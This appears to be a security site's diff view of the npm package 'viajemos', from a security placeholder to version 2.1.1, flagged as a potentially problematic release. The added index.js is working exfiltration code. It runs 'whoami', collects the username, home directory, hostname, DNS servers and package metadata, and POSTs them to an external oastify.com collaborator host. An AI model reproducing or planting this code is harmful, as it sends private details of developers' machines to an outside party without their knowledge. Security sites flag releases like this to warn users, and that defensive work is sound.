viajemos 0.0.1-security → 2.1.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of viajemos might be problematic. Click here for more details.
- package/index.js +67 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,67 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
const os = require("os");
|
3
|
+
const dns = require("dns");
|
4
|
+
const querystring = require("querystring");
|
5
|
+
const https = require("https");
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
const package = packageJSON.name;
|
8
|
+
|
9
|
+
// Function to execute whoami command
|
10
|
+
exec("whoami", (error, stdout, stderr) => {
|
11
|
+
if (error) {
|
12
|
+
console.error(`Error executing whoami: ${error.message}`);
|
13
|
+
return;
|
14
|
+
}
|
15
|
+
if (stderr) {
|
16
|
+
console.error(`Error: ${stderr}`);
|
17
|
+
return;
|
18
|
+
}
|
19
|
+
|
20
|
+
// Capture the username from the output
|
21
|
+
const username = stdout.trim();
|
22
|
+
|
23
|
+
// Create tracking data object
|
24
|
+
const trackingData = JSON.stringify({
|
25
|
+
p: package,
|
26
|
+
c: __dirname,
|
27
|
+
hd: os.homedir(),
|
28
|
+
hn: os.hostname(),
|
29
|
+
un: username, // Use the output of whoami
|
30
|
+
dns: dns.getServers(),
|
31
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
32
|
+
v: packageJSON.version,
|
33
|
+
pjson: packageJSON,
|
34
|
+
});
|
35
|
+
|
36
|
+
// Prepare the data to be sent
|
37
|
+
var postData = querystring.stringify({
|
38
|
+
msg: trackingData,
|
39
|
+
});
|
40
|
+
|
41
|
+
// Setup the request options
|
42
|
+
var options = {
|
43
|
+
hostname: "8clayud5pbn6xhnrk9sp5q59x03rrhf6.oastify.com", // Replace with your Burp Collaborator URL
|
44
|
+
port: 443,
|
45
|
+
path: "/",
|
46
|
+
method: "POST",
|
47
|
+
headers: {
|
48
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
49
|
+
"Content-Length": postData.length,
|
50
|
+
},
|
51
|
+
};
|
52
|
+
|
53
|
+
// Create the request
|
54
|
+
var req = https.request(options, (res) => {
|
55
|
+
res.on("data", (d) => {
|
56
|
+
process.stdout.write(d);
|
57
|
+
});
|
58
|
+
});
|
59
|
+
|
60
|
+
req.on("error", (e) => {
|
61
|
+
console.error(e);
|
62
|
+
});
|
63
|
+
|
64
|
+
// Send the data
|
65
|
+
req.write(postData);
|
66
|
+
req.end();
|
67
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "viajemos",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "2.1.1",
|
4
|
+
"description": "White Hat ",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC"
|
6
11
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=viajemos for more information.
|